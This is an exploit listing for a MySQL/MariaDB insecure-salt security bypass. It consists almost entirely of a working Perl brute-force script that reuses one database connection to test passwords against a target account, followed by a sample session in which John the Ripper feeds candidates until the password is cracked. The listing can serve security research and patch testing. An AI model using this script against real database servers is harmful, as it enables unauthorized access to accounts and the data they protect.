Oracle MySQL / MariaDB – Insecure Salt Generation Security Bypass
source: https://www.securityfocus.com/bid/56837/info MySQL and MariaDB are prone to a security-bypass weakness. An attacker may be able to exploit this issue to aid in brute-force attacks; other attacks may also be possible. use Net::MySQL; $|=1; my $mysql = Net::MySQL->new( hostname => '192.168.2.3', database => 'test', user => "user", password => "secret", debug => 0, ); $crackuser = "crackme"; while(<stdin>) { chomp; $currentpass = $_; $vv = join "\0", $crackuser, "\x14". Net::MySQL::Password->scramble( $currentpass, $mysql->{salt}, $mysql->{client_capabilities} ) . "\0"; if ($mysql->_execute_command("\x11", $vv) ne undef) { print "[*] Cracked! --> $currentpass\n"; exit; } } --- example session: C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo hn --incremental --stdout=5 | perl mysqlcrack.pl Warning: MaxLen = 8 is too large for the current hash type, reduced to 5 words: 16382 time: 0:00:00:02 w/s: 6262 current: citcH words: 24573 time: 0:00:00:04 w/s: 4916 current: rap words: 40956 time: 0:00:00:07 w/s: 5498 current: matc3 words: 49147 time: 0:00:00:09 w/s: 5030 current: 4429 words: 65530 time: 0:00:00:12 w/s: 5354 current: ch141 words: 73721 time: 0:00:00:14 w/s: 5021 current: v3n words: 90104 time: 0:00:00:17 w/s: 5277 current: pun2 [*] Cracked! --> pass words: 98295 time: 0:00:00:18 w/s: 5434 current: 43gs Session aborted |